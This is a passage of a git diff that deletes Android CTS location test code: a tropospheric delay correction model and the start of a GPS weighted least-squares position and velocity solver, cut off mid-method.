- private static final double MINIMUM_INTERPOLATION_THRESHOLD = 1e-25;
- private static final double B_HYDROSTATIC = 0.0035716;
- private static final double C_HYDROSTATIC = 0.082456;
- private static final double B_NON_HYDROSTATIC = 0.0018576;
- private static final double C_NON_HYDROSTATIC = 0.062741;
- private static final double SOUTHERN_HEMISPHERE_DMIN = 211.0;
- private static final double NORTHERN_HEMISPHERE_DMIN = 28.0;
- // Days recalling that every fourth year is a leap year and has an extra day - February 29th
- private static final double DAYS_PER_YEAR = 365.25;
-
- /**
- * Compute the tropospheric correction in meters given the satellite elevation in radians, the
- * user latitude in radians, the user Orthometric height above sea level in meters and the day of
- * the year.
- *
- * <p>Dry and wet delay zenith delay components are calculated and then scaled with the mapping
- * function at the given satellite elevation.
- *
- */
- public static double calculateTropoCorrectionMeters(double satElevationRadians,
- double userLatitudeRadian, double heightMetersAboveSeaLevel, int dayOfYear1To366) {
- DryAndWetMappingValues dryAndWetMappingValues =
- computeDryAndWetMappingValuesUsingUNBabcMappingFunction(satElevationRadians,
- userLatitudeRadian, heightMetersAboveSeaLevel);
- DryAndWetZenithDelays dryAndWetZenithDelays = calculateZenithDryAndWetDelaysSec
- (userLatitudeRadian, heightMetersAboveSeaLevel, dayOfYear1To366);
-
- double drydelaySeconds =
- dryAndWetZenithDelays.dryZenithDelaySec * dryAndWetMappingValues.dryMappingValue;
- double wetdelaySeconds =
- dryAndWetZenithDelays.wetZenithDelaySec * dryAndWetMappingValues.wetMappingValue;
- return drydelaySeconds + wetdelaySeconds;
- }
-
- /**
- * Compute the dry and wet mapping values based on the University of Brunswick UNBabc model. The
- * mapping function inputs are satellite elevation in radians, user latitude in radians and user
- * orthometric height above sea level in meters. The function returns
- * {@code DryAndWetMappingValues} containing dry and wet mapping values.
- *
- * <p>From the many dry and wet mapping functions of components of the troposphere, the method
- * from the University of Brunswick in Canada was selected due to its reasonable computation time
- * and accuracy with satellites as low as 2 degrees elevation.
- * <p>Source: http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
- */
- private static DryAndWetMappingValues computeDryAndWetMappingValuesUsingUNBabcMappingFunction(
- double satElevationRadians, double userLatitudeRadians, double heightMetersAboveSeaLevel) {
-
- if (satElevationRadians > Math.PI / 2.0) {
- satElevationRadians = Math.PI / 2.0;
- } else if (satElevationRadians < 2.0 * Math.PI / 180.0) {
- satElevationRadians = Math.toRadians(2.0);
- }
-
- // dry components mapping parameters
- double aHidrostatic = (1.18972 - 0.026855 * heightMetersAboveSeaLevel / 1000.0 + 0.10664
- * Math.cos(userLatitudeRadians)) / 1000.0;
-
-
- double numeratorDry = 1.0 + (aHidrostatic / (1.0 + (B_HYDROSTATIC / (1.0 + C_HYDROSTATIC))));
- double denominatorDry = Math.sin(satElevationRadians) + (aHidrostatic / (
- Math.sin(satElevationRadians)
- + (B_HYDROSTATIC / (Math.sin(satElevationRadians) + C_HYDROSTATIC))));
-
- double drymap = numeratorDry / denominatorDry;
-
- // wet components mapping parameters
- double aNonHydrostatic = (0.61120 - 0.035348 * heightMetersAboveSeaLevel / 1000.0 - 0.01526
- * Math.cos(userLatitudeRadians)) / 1000.0;
-
-
- double numeratorWet =
- 1.0 + (aNonHydrostatic / (1.0 + (B_NON_HYDROSTATIC / (1.0 + C_NON_HYDROSTATIC))));
- double denominatorWet = Math.sin(satElevationRadians) + (aNonHydrostatic / (
- Math.sin(satElevationRadians)
- + (B_NON_HYDROSTATIC / (Math.sin(satElevationRadians) + C_NON_HYDROSTATIC))));
-
- double wetmap = numeratorWet / denominatorWet;
- return new DryAndWetMappingValues(drymap, wetmap);
- }
-
- /**
- * Compute the combined effect of the delay at zenith experienced due to hyrostatic (dry) and wet
- * components of the troposphere. The function inputs are the user latitude in radians, user
- * orthometric height above sea level in meters and the day of the year (1-366). The function
- * returns a {@code DryAndWetZenithDelays} containing dry and wet delays at zenith.
- *
- * <p>EGNOS Tropospheric model by Penna et al. (2001) is used in this case.
- * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917)
- *
- */
- private static DryAndWetZenithDelays calculateZenithDryAndWetDelaysSec(double userLatitudeRadians,
- double heightMetersAboveSeaLevel, int dayOfyear1To366) {
- // interpolated meteorological values
- double pressureMbar;
- double tempKelvin;
- double waterVaporPressureMbar;
- // temperature lapse rate, [K/m]
- double beta;
- // water vapor lapse rate, dimensionless
- double lambda;
-
- double absLatitudeDeg = Math.toDegrees(Math.abs(userLatitudeRadians));
- // day of year min constant
- double dmin;
- if (userLatitudeRadians < 0) {
- dmin = SOUTHERN_HEMISPHERE_DMIN;
- } else {
- dmin = NORTHERN_HEMISPHERE_DMIN;
-
- }
- double amplitudeScalefactor = Math.cos((2 * Math.PI * (dayOfyear1To366 - dmin))
- / DAYS_PER_YEAR);
-
- if (absLatitudeDeg <= LATITUDE_15_DEGREES) {
- pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_15_DEGREES]
- - latDegreeToPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
- tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_15_DEGREES]
- - latDegreeToTempKelvinAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
- waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_15_DEGREES]
- - latDegreeToWVPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
- beta = latDegreeToBetaAvgMapKPM[INDEX_15_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_15_DEGREES]
- * amplitudeScalefactor;
- lambda = latDegreeToLampdaAmpMap[INDEX_15_DEGREES] - latDegreeToLampdaAmpMap[INDEX_15_DEGREES]
- * amplitudeScalefactor;
- } else if (absLatitudeDeg > LATITUDE_15_DEGREES && absLatitudeDeg < LATITUDE_75_DEGREES) {
- int key = (int) (absLatitudeDeg / LATITUDE_15_DEGREES);
-
- double averagePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToPressureMbarAvgMap[key], absLatitudeDeg);
- double amplitudePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToPressureMbarAmpMap[key], absLatitudeDeg);
- pressureMbar = averagePressureMbar - amplitudePressureMbar * amplitudeScalefactor;
-
- double averageTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToTempKelvinAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToTempKelvinAvgMap[key], absLatitudeDeg);
- double amplitudeTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToTempKelvinAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToTempKelvinAmpMap[key], absLatitudeDeg);
- tempKelvin = averageTempKelvin - amplitudeTempKelvin * amplitudeScalefactor;
-
- double averageWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToWVPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToWVPressureMbarAvgMap[key], absLatitudeDeg);
- double amplitudeWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToWVPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToWVPressureMbarAmpMap[key], absLatitudeDeg);
- waterVaporPressureMbar =
- averageWaterVaporPressureMbar - amplitudeWaterVaporPressureMbar * amplitudeScalefactor;
-
- double averageBeta = interpolate(key * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key - 1],
- (key + 1) * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key], absLatitudeDeg);
- double amplitudeBeta = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToBetaAmpMapKPM[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToBetaAmpMapKPM[key], absLatitudeDeg);
- beta = averageBeta - amplitudeBeta * amplitudeScalefactor;
-
- double averageLambda = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToLampdaAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToLampdaAvgMap[key], absLatitudeDeg);
- double amplitudeLambda = interpolate(key * LATITUDE_15_DEGREES,
- latDegreeToLampdaAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
- latDegreeToLampdaAmpMap[key], absLatitudeDeg);
- lambda = averageLambda - amplitudeLambda * amplitudeScalefactor;
- } else {
- pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_75_DEGREES]
- - latDegreeToPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
- tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_75_DEGREES]
- - latDegreeToTempKelvinAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
- waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_75_DEGREES]
- - latDegreeToWVPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
- beta = latDegreeToBetaAvgMapKPM[INDEX_75_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_75_DEGREES]
- * amplitudeScalefactor;
- lambda = latDegreeToLampdaAmpMap[INDEX_75_DEGREES] - latDegreeToLampdaAmpMap[INDEX_75_DEGREES]
- * amplitudeScalefactor;
- }
-
- double zenithDryDelayAtSeaLevelSeconds = (1.0e-6 * K1 * RD * pressureMbar) / GM;
- double zenithWetDelayAtSeaLevelSeconds = (((1.0e-6 * K2 * RD)
- / (GM * (lambda + 1.0) - beta * RD)) * (waterVaporPressureMbar / tempKelvin));
- double commonBase = 1.0 - ((beta * heightMetersAboveSeaLevel) / tempKelvin);
-
- double powerDry = (GRAVITY_MPS2 / (RD * beta));
- double powerWet = (((lambda + 1.0) * GRAVITY_MPS2) / (RD * beta)) - 1.0;
- double zenithDryDelaySeconds = zenithDryDelayAtSeaLevelSeconds * Math.pow(commonBase, powerDry);
- double zenithWetDelaySeconds = zenithWetDelayAtSeaLevelSeconds * Math.pow(commonBase, powerWet);
- return new DryAndWetZenithDelays(zenithDryDelaySeconds, zenithWetDelaySeconds);
- }
-
- /**
- * Interpolate linearly given two points (point1X, point1Y) and (point2X, point2Y). Given the
- * desired value of x (xInterpolated), an interpolated value of y shall be computed and returned.
- */
- private static double interpolate(double point1X, double point1Y, double point2X, double point2Y,
- double xOutput) {
- // Check that xOutput is between the two interpolation points.
- if ((point1X < point2X && (xOutput < point1X || xOutput > point2X))
- || (point2X < point1X && (xOutput < point2X || xOutput > point1X))) {
- throw new IllegalArgumentException("Interpolated value is outside the interpolated region");
- }
- double deltaX = point2X - point1X;
- double yOutput;
-
- if (Math.abs(deltaX) > MINIMUM_INTERPOLATION_THRESHOLD) {
- yOutput = point1Y + (xOutput - point1X) / deltaX * (point2Y - point1Y);
- } else {
- yOutput = point1Y;
- }
- return yOutput;
- }
-
- /* A class containing dry and wet mapping values */
- private static class DryAndWetMappingValues {
- public double dryMappingValue;
- public double wetMappingValue;
-
- public DryAndWetMappingValues(double dryMappingValue, double wetMappingValue) {
- this.dryMappingValue = dryMappingValue;
- this.wetMappingValue = wetMappingValue;
- }
- }
-
- /* A class containing dry and wet delays in seconds experienced at zenith */
- private static class DryAndWetZenithDelays {
- public double dryZenithDelaySec;
- public double wetZenithDelaySec;
-
- public DryAndWetZenithDelays(double dryZenithDelay, double wetZenithDelay) {
- this.dryZenithDelaySec = dryZenithDelay;
- this.wetZenithDelaySec = wetZenithDelay;
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java b/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
deleted file mode 100644
index 1d26b8e..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
+++ /dev/null
@@ -1,910 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import static java.nio.charset.StandardCharsets.UTF_8;
-
-import com.google.common.annotations.VisibleForTesting;
-import com.google.common.base.Preconditions;
-import com.google.common.collect.Lists;
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
-import android.location.cts.pseudorange.SatellitePositionCalculator.PositionAndVelocity;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import org.apache.commons.math.linear.Array2DRowRealMatrix;
-import org.apache.commons.math.linear.LUDecompositionImpl;
-import org.apache.commons.math.linear.QRDecompositionImpl;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Computes an iterative least square receiver position solution given the pseudorange (meters) and
- * accumulated delta range (meters) measurements, receiver time of week, week number and the
- * navigation message.
- */
-class UserPositionVelocityWeightedLeastSquare {
- private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
- private static final int SECONDS_IN_WEEK = 604800;
- private static final double LEAST_SQUARE_TOLERANCE_METERS = 4.0e-8;
- /** Position correction threshold below which atmospheric correction will be applied */
- private static final double ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS = 1000.0;
- private static final int MINIMUM_NUMER_OF_SATELLITES = 4;
- private static final double RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS = 20.0;
-
- private static final int MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS = 100;
- /** Maximum possible number of GPS satellites */
- private static final int MAX_NUMBER_OF_SATELLITES = 32;
- /** GPS C/A code chip width Tc = 1 microseconds */
- private static final double GPS_CHIP_WIDTH_T_C_SEC = 1.0e-6;
- /** Narrow correlator with spacing d = 0.1 chip */
- private static final double GPS_CORRELATOR_SPACING_IN_CHIPS = 0.1;
- /** Average time of DLL correlator T of 20 milliseconds */
- private static final double GPS_DLL_AVERAGING_TIME_SEC = 20.0e-3;
- /** Average signal travel time from GPS satellite and earth */
- private static final double AVERAGE_TRAVEL_TIME_SECONDS = 70.0e-3;
- private static final double SECONDS_PER_NANO = 1.0e-9;
- private static final double DOUBLE_ROUND_OFF_TOLERANCE = 0.0000000001;
- private PseudorangeSmoother pseudorangeSmoother = null;
- private double geoidHeightMeters;
- private boolean calculateGeoidMeters = true;
- private RealMatrix geometryMatrix;
-
- /** Default Constructor */
- public UserPositionVelocityWeightedLeastSquare() {
- }
-
- /*
- * Constructor with a smoother. One can implement their own smoothing algorithm for smoothing
- * the pseudorange, by passing a class which implements {@link PseudorangeSmoother} interface.
- */
- public UserPositionVelocityWeightedLeastSquare(PseudorangeSmoother pseudorangeSmoother) {
- this.pseudorangeSmoother = pseudorangeSmoother;
- }
-
- /**
- * Least square solution to calculate the user position given the navigation message, pseudorange
- * and accumulated delta range measurements. Also calculates user velocity non-iteratively from
- * Least square position solution.
- *
- * <p>The method fills the user position and velocity in ECEF coordinates and receiver clock
- * offset in meters and clock offset rate in meters per second.
- *
- * <p>One can implement their own smoothing algorithm for smoothing the pseudorange, by passing
- * a class which implements pseudorangeSmoother interface.
- *
- * <p>Source for least squares:
- * <ul>
- * <li>http://www.u-blox.com/images/downloads/Product_Docs/GPS_Compendium%28GPS-X-02007%29.pdf
- * page 81 - 85
- * <li>Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and applications’
- * page 412 - 414
- * </ul>
- *
- * @param navMessageProto parameters of the navigation message
- * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
- * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
- * computing the position solution.
- * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
- * @param receiverGPSWeek Receiver estimate of GPS week (0-1024+)
- * @param dayOfYear1To366 The day of the year between 1 and 366
- * @param positionVelocitySolutionECEF Solution array of the following format:
- * [0-2] xyz solution of user.
- * [3] clock bias of user.
- * [4-6] velocity of user.
- * [7] clock bias rate of user.
- * @param positionVelocityUncertaintyEnu Uncertainty of calculated position and velocity solution
- * in meters and mps local ENU system. Array has the following format:
- * [0-2] Enu uncertainty of position solution in meters
- * [3-5] Enu uncertainty of velocity solution in meters per second.
- *
- */
- public void calculateUserPositionVelocityLeastSquare(
- GpsNavMessageProto navMessageProto,
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
- double receiverGPSTowAtReceptionSeconds,
- int receiverGPSWeek,
- int dayOfYear1To366,
- double[] positionVelocitySolutionECEF,
- double[] positionVelocityUncertaintyEnu)
- throws Exception {
-
- double[] deltaPositionMeters;
- // make a copy of usefulSatellitesToReceiverMeasurements, to keep the original list the same
- List<GpsMeasurementWithRangeAndUncertainty> satellitesToReceiverMeasurements =
- new ArrayList<GpsMeasurementWithRangeAndUncertainty>(usefulSatellitesToReceiverMeasurements);
- if (pseudorangeSmoother != null) {
- satellitesToReceiverMeasurements =
- pseudorangeSmoother.updatePseudorangeSmoothingResult(satellitesToReceiverMeasurements);
- }
- int numberOfUsefulSatellites =
- getNumberOfusefulSatellites(satellitesToReceiverMeasurements);
- // Least square position solution is supported only if 4 or more satellites visible
- Preconditions.checkArgument(numberOfUsefulSatellites >= MINIMUM_NUMER_OF_SATELLITES,
- "At least 4 satellites have to be visible... Only 3D mode is supported...");
- boolean repeatLeastSquare = false;
- SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight;
- do {
- // Calculate satellites' positions, measurement residual per visible satellite and weight
- // matrix for the iterative least square
- boolean doAtmosphericCorrections = false;
- satPosPseudorangeResidualAndWeight =
- calculateSatPosAndPseudorangeResidual(
- navMessageProto,
- satellitesToReceiverMeasurements,
- receiverGPSTowAtReceptionSeconds,
- receiverGPSWeek,
- dayOfYear1To366,
- positionVelocitySolutionECEF,
- doAtmosphericCorrections);
-
- // Calcualte the geometry matrix according to "Global Positioning System: Theory and
- // Applications", Parkinson and Spilker page 413
- RealMatrix covarianceMatrixM2 =
- new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare);
- geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
- satPosPseudorangeResidualAndWeight.satellitesPositionsMeters,
- positionVelocitySolutionECEF));
- RealMatrix weightedGeometryMatrix;
- RealMatrix weightMatrixMetersMinus2 = null;
- // Apply weighted least square only if the covariance matrix is not singular (has a non-zero
- // determinant), otherwise apply ordinary least square. The reason is to ignore reported
- // signal to noise ratios by the receiver that can lead to such singularities
- LUDecompositionImpl ludCovMatrixM2 = new LUDecompositionImpl(covarianceMatrixM2);
- double det = ludCovMatrixM2.getDeterminant();
-
- if (det <= DOUBLE_ROUND_OFF_TOLERANCE) {
- // Do not weight the geometry matrix if covariance matrix is singular.
- weightedGeometryMatrix = geometryMatrix;
- } else {
- weightMatrixMetersMinus2 = ludCovMatrixM2.getSolver().getInverse();
- RealMatrix hMatrix =
- calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
- weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
- .multiply(weightMatrixMetersMinus2);
- }
-
- // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons", Parkinson
- // and Spilker
- deltaPositionMeters =
- GpsMathOperations.matrixByColVectMultiplication(weightedGeometryMatrix.getData(),
- satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
-
- // Apply corrections to the position estimate
- positionVelocitySolutionECEF[0] += deltaPositionMeters[0];
- positionVelocitySolutionECEF[1] += deltaPositionMeters[1];
- positionVelocitySolutionECEF[2] += deltaPositionMeters[2];
- positionVelocitySolutionECEF[3] += deltaPositionMeters[3];
- // Iterate applying corrections to the position solution until correction is below threshold
- satPosPseudorangeResidualAndWeight =
- applyWeightedLeastSquare(
- navMessageProto,
- satellitesToReceiverMeasurements,
- receiverGPSTowAtReceptionSeconds,
- receiverGPSWeek,
- dayOfYear1To366,
- positionVelocitySolutionECEF,
- deltaPositionMeters,
- doAtmosphericCorrections,
- satPosPseudorangeResidualAndWeight,
- weightMatrixMetersMinus2);
- repeatLeastSquare = false;
- int satsWithResidualBelowThreshold =
- satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length;
- // remove satellites that have residuals above RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS as they
- // worsen the position solution accuracy. If any satellite is removed, repeat the least square
- repeatLeastSquare =
- removeHighResidualSats(
- satellitesToReceiverMeasurements,
- repeatLeastSquare,
- satPosPseudorangeResidualAndWeight,
- satsWithResidualBelowThreshold);
-
- } while (repeatLeastSquare);
- calculateGeoidMeters = false;
-
- // The computed ECEF position will be used next to compute the user velocity.
- // we calculate and fill in the user velocity solutions based on following equation:
- // Weight Matrix * GeometryMatrix * User Velocity Vector
- // = Weight Matrix * deltaPseudoRangeRateWeightedMps
- // Reference: Pratap Misra and Per Enge
- // "Global Positioning System: Signals, Measurements, and Performance" Page 218.
-
- // Gets the number of satellite used in Geometry Matrix
- numberOfUsefulSatellites = geometryMatrix.getRowDimension();
-
- RealMatrix rangeRateMps = new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
- RealMatrix deltaPseudoRangeRateMps =
- new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
- RealMatrix pseudorangeRateWeight
- = new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
-
- // Correct the receiver time of week with the estimated receiver clock bias
- receiverGPSTowAtReceptionSeconds =
- receiverGPSTowAtReceptionSeconds - positionVelocitySolutionECEF[3] / SPEED_OF_LIGHT_MPS;
-
- int measurementCount = 0;
-
- // Calculates range rates
- for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
- if (satellitesToReceiverMeasurements.get(i) != null) {
- GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMessageProto, i + 1);
-
- double pseudorangeMeasurementMeters =
- satellitesToReceiverMeasurements.get(i).pseudorangeMeters;
- GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
- calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
- receiverGPSWeek, pseudorangeMeasurementMeters);
-
- // Calculate satellite velocity
- PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
- .calculateSatellitePositionAndVelocityFromEphemeris(
- ephemeridesProto,
- correctedTowAndWeek.gpsTimeOfWeekSeconds,
- correctedTowAndWeek.weekNumber,
- positionVelocitySolutionECEF[0],
- positionVelocitySolutionECEF[1],
- positionVelocitySolutionECEF[2]);
-
- // Calculates satellite clock error rate
- double satelliteClockErrorRateMps = SatelliteClockCorrectionCalculator.
- calculateSatClockCorrErrorRate(
- ephemeridesProto,
- correctedTowAndWeek.gpsTimeOfWeekSeconds,
- correctedTowAndWeek.weekNumber);
-
- // Fill in range rates. range rate = satellite velocity (dot product) line-of-sight vector
- rangeRateMps.setEntry(measurementCount, 0, -1 * (
- satPosECEFMetersVelocityMPS.velocityXMetersPerSec
- * geometryMatrix.getEntry(measurementCount, 0)
- + satPosECEFMetersVelocityMPS.velocityYMetersPerSec
- * geometryMatrix.getEntry(measurementCount, 1)
- + satPosECEFMetersVelocityMPS.velocityZMetersPerSec
- * geometryMatrix.getEntry(measurementCount, 2)));
-
- deltaPseudoRangeRateMps.setEntry(measurementCount, 0,
- satellitesToReceiverMeasurements.get(i).pseudorangeRateMps
- - rangeRateMps.getEntry(measurementCount, 0) + satelliteClockErrorRateMps
- - positionVelocitySolutionECEF[7]);
-
- // Calculate the velocity weight matrix by using 1 / square(Pseudorangerate Uncertainty)
- // along the diagonal
- pseudorangeRateWeight.setEntry(measurementCount, measurementCount,
- 1 / (satellitesToReceiverMeasurements
- .get(i).pseudorangeRateUncertaintyMps
- * satellitesToReceiverMeasurements
- .get(i).pseudorangeRateUncertaintyMps));
- measurementCount++;
- }
- }
-
- RealMatrix weightedGeoMatrix = pseudorangeRateWeight.multiply(geometryMatrix);
- RealMatrix deltaPseudoRangeRateWeightedMps =
- pseudorangeRateWeight.multiply(deltaPseudoRangeRateMps);
- QRDecompositionImpl qrdWeightedGeoMatrix = new QRDecompositionImpl(weightedGeoMatrix);
- RealMatrix velocityMps
- = qrdWeightedGeoMatrix.getSolver().solve(deltaPseudoRangeRateWeightedMps);
- positionVelocitySolutionECEF[4] = velocityMps.getEntry(0, 0);
- positionVelocitySolutionECEF[5] = velocityMps.getEntry(1, 0);
- positionVelocitySolutionECEF[6] = velocityMps.getEntry(2, 0);
- positionVelocitySolutionECEF[7] = velocityMps.getEntry(3, 0);
-
- RealMatrix pseudorangeWeight
- = new LUDecompositionImpl(
- new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare
- )
- ).getSolver().getInverse();
-
- // Calculates and store the uncertainties of position and velocity in local ENU system in meters
- // and meters per second.
- double[] pvUncertainty =
- calculatePositionVelocityUncertaintyEnu(pseudorangeRateWeight, pseudorangeWeight,
- positionVelocitySolutionECEF);
- System.arraycopy(pvUncertainty,
- 0 /*source starting pos*/,
- positionVelocityUncertaintyEnu,
- 0 /*destination starting pos*/,
- 6 /*length of elements*/);
- }
-
- /**
- * Calculates the position uncertainty in meters and the velocity uncertainty
- * in meters per second solution in local ENU system.
- *
- * <p> Reference: Global Positioning System: Signals, Measurements, and Performance
- * by Pratap Misra, Per Enge, Page 206 - 209.
- *
- * @param velocityWeightMatrix the velocity weight matrix
- * @param positionWeightMatrix the position weight matrix
- * @param positionVelocitySolution the position and velocity solution in ECEF
- * @return an array containing the position and velocity uncertainties in ENU coordinate system.
- * [0-2] Enu uncertainty of position solution in meters.
- * [3-5] Enu uncertainty of velocity solution in meters per second.
- */
- public double[] calculatePositionVelocityUncertaintyEnu(
- RealMatrix velocityWeightMatrix, RealMatrix positionWeightMatrix,
- double[] positionVelocitySolution){
-
- if (geometryMatrix == null){
- return null;
- }
-
- RealMatrix velocityH = calculateHMatrix(velocityWeightMatrix, geometryMatrix);
- RealMatrix positionH = calculateHMatrix(positionWeightMatrix, geometryMatrix);
-
- // Calculate the rotation Matrix to convert to local ENU system.
- RealMatrix rotationMatrix = new Array2DRowRealMatrix(4, 4);
- GeodeticLlaValues llaValues = Ecef2LlaConverter.convertECEFToLLACloseForm
- (positionVelocitySolution[0], positionVelocitySolution[1], positionVelocitySolution[2]);
- rotationMatrix.setSubMatrix(
- Ecef2EnuConverter.getRotationMatrix(llaValues.longitudeRadians,
- llaValues.latitudeRadians).getData(), 0, 0);
- rotationMatrix.setEntry(3, 3, 1);
-
- // Convert to local ENU by pre-multiply rotation matrix and multiply rotation matrix transposed
- velocityH = rotationMatrix.multiply(velocityH).multiply(rotationMatrix.transpose());
- positionH = rotationMatrix.multiply(positionH).multiply(rotationMatrix.transpose());
-
- // Return the square root of diagonal entries
- return new double[] {
- Math.sqrt(positionH.getEntry(0, 0)), Math.sqrt(positionH.getEntry(1, 1)),
- Math.sqrt(positionH.getEntry(2, 2)), Math.sqrt(velocityH.getEntry(0, 0)),
- Math.sqrt(velocityH.getEntry(1, 1)), Math.sqrt(velocityH.getEntry(2, 2))};
- }
-
- /**
- * Calculate the measurement connection matrix H as a function of weightMatrix and
- * geometryMatrix.
- *
- * <p> H = (geometryMatrixTransposed * Weight * geometryMatrix) ^ -1
- *
- * <p> Reference: Global Positioning System: Signals, Measurements, and Performance, P207
- * @param weightMatrix Weights for computing H Matrix
- * @return H Matrix
- */
- private RealMatrix calculateHMatrix
- (RealMatrix weightMatrix, RealMatrix geometryMatrix){
-
- RealMatrix tempH = geometryMatrix.transpose().multiply(weightMatrix).multiply(geometryMatrix);
- return new LUDecompositionImpl(tempH).getSolver().getInverse();
- }
-
- /**
- * Applies weighted least square iterations and corrects to the position solution until correction
- * is below threshold. An exception is thrown if the maximum number of iterations:
- * {@value #MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS} is reached without convergence.
- */
- private SatellitesPositionPseudorangesResidualAndCovarianceMatrix applyWeightedLeastSquare(
- GpsNavMessageProto navMessageProto,
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
- double receiverGPSTowAtReceptionSeconds,
- int receiverGPSWeek,
- int dayOfYear1To366,
- double[] positionSolutionECEF,
- double[] deltaPositionMeters,
- boolean doAtmosphericCorrections,
- SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
- RealMatrix weightMatrixMetersMinus2)
- throws Exception {
- RealMatrix weightedGeometryMatrix;
- int numberOfIterations = 0;
-
- while ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
- + Math.abs(deltaPositionMeters[2])) >= LEAST_SQUARE_TOLERANCE_METERS) {
- // Apply ionospheric and tropospheric corrections only if the applied correction to
- // position is below a specific threshold
- if ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
- + Math.abs(deltaPositionMeters[2])) < ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS) {
